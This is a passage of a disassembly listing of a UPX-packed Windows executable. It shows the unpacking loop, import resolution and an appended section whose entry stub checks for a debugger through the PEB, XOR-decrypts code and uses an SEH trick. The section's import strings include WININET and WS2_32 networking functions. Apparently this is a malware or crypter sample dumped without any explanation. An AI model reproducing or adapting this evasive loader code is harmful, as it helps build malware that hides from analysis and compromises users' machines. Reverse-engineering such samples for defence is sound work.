ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3150846B: ; CODE XREF: UPX1:31508462j adc ecx, ecx add ebx, ebx jnz short loc_31508478 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31508478: ; CODE XREF: UPX1:3150846Fj adc ecx, ecx jnz short loc_3150849C inc ecx loc_3150847D: ; CODE XREF: UPX1:3150848Cj ; UPX1:31508497j add ebx, ebx jnz short loc_31508488 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31508488: ; CODE XREF: UPX1:3150847Fj adc ecx, ecx add ebx, ebx jnb short loc_3150847D jnz short loc_31508499 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_3150847D loc_31508499: ; CODE XREF: UPX1:3150848Ej add ecx, 2 loc_3150849C: ; CODE XREF: UPX1:3150847Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_315084BC loc_315084AD: ; CODE XREF: UPX1:315084B4j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_315084AD jmp loc_3150841E ; --------------------------------------------------------------------------- align 4 loc_315084BC: ; CODE XREF: UPX1:315084ABj ; UPX1:315084C9j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_315084BC add edi, ecx jmp loc_3150841E ; --------------------------------------------------------------------------- loc_315084D2: ; CODE XREF: UPX1:3150845Cj pop esi mov edi, esi mov ecx, 0CAh loc_315084DA: ; CODE XREF: UPX1:315084E1j ; UPX1:315084E6j mov al, [edi] inc edi sub al, 0E8h loc_315084DF: ; CODE XREF: UPX1:31508504j cmp al, 1 ja short loc_315084DA cmp byte ptr [edi], 1 jnz short loc_315084DA mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_315084DF lea edi, [esi+6000h] loc_3150850C: ; CODE XREF: UPX1:3150852Ej mov eax, [edi] or eax, eax jz short loc_31508557 mov ebx, [edi+4] lea eax, [eax+esi+8000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+808Ch] xchg eax, ebp loc_31508529: ; CODE XREF: UPX1:3150854Fj mov al, [edi] inc edi or al, al jz short loc_3150850C mov ecx, edi jns short near ptr loc_3150853A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_3150853A: ; CODE XREF: UPX1:31508532j mov ecx, 0AEF24857h push ebp call dword ptr [esi+8090h] or eax, eax jz short loc_31508551 mov [ebx], eax add ebx, 4 jmp short loc_31508529 ; --------------------------------------------------------------------------- loc_31508551: ; CODE XREF: UPX1:31508548j call dword ptr [esi+8094h] loc_31508557: ; CODE XREF: UPX1:31508510j popa jmp loc_31501D18 ; --------------------------------------------------------------------------- align 1000h UPX1 ends ; Section 3. (virtual address 00009000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00009000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31509000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 90C4h, 908Ch, 3 dup(0) dd 90D1h, 909Ch, 3 dup(0) dd 90DEh, 90A4h, 3 dup(0) dd 90E9h, 90ACh, 3 dup(0) dd 90F4h, 90B4h, 3 dup(0) dd 9100h, 90BCh, 5 dup(0) dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C4D444h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 69730000h dd 6Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) ; --------------------------------------------------------------------------- public start start: pop ebx call loc_3150925F mov esp, [esp+8] mov eax, 4EBh ; CODE XREF: UPX2:3150920Fj jmp short near ptr loc_3150920A+1 ; --------------------------------------------------------------------------- mov eax, fs:18h mov eax, [eax+30h] movzx eax, byte ptr [eax+2] cmp eax, 0 jnz short locret_3150925E call $+5 pop ebp sub ebp, 402320h mov eax, [ebp+402367h] add eax, [ebp+40236Fh] mov esi, eax mov eax, [ebp+40236Bh] add eax, [ebp+40236Fh] push eax mov edi, esi xor ecx, ecx loc_3150924D: ; CODE XREF: UPX2:3150925Cj lodsb xor al, [ebp+402377h] stosb inc ecx cmp ecx, [ebp+402373h] jl short loc_3150924D locret_3150925E: ; CODE XREF: UPX2:31509220j retn ; --------------------------------------------------------------------------- loc_3150925F: ; CODE XREF: UPX2:31509201p sub eax, eax push dword ptr fs:[eax] mov fs:[eax], esp mov eax, 12345678h xchg eax, [ebx] add [eax+0], ah ; --------------------------------------------------------------------------- db 2 dup(0), 84h align 8 dd 26003150h, 500000h, 760h dup(0) UPX2 ends ; Section 4. (virtual address 0000B000) ; Virtual size : 00000001 ( 1.) ; Section size in file : 00000001 ( 1.) ; Offset to raw data for section: 0000B000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _qnk_ segment para public 'CODE' use32 assume cs:_qnk_ ;org 3150B000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing db 0 _qnk_ ends ; Section 5. (virtual address 0000C000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0000B200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 3150C000h dd 80h dup(0) align 1000h _idata2 ends end start